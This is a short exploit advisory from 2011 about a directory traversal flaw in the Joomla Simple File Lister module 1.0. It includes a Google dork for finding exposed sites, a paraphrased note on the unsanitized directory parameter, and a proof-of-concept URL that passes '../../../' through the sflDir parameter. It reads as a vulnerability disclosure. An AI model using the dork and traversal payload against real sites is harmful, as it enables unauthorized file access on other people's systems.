# Exploit Title: Joomla Simple File Lister module <= 1.0 Directory Traversal Vulnerability
# Google Dork: "Simple File Lister v1.0" "Files in directory"
# Date: 2011-08-28
# Author: evilsocket ( evilsocket [at] gmail [dot] com )
# Software Link: http://extensions.joomla.org/extensions/core-enhancements/file-management/15793
# Version: 1.0

---------------
Vulnerable code
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[ helper.php line 51 ]

function getDirContents($params, $sfl_dirlocation, $sfl_basepath, $sfl_maxfiles, $sfl_userlocation) {
  ...
  ...
  really messy code, generally speaking the variable $sfl_dirlocation which contains the directory to be
  read is not succesfully sanitized for relative paths
  ...
  ...


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PoC
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http://www.site.com/index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../

To look for a valid url, just sniff the HTTP request sent from the module javascript code once a directory is clicked.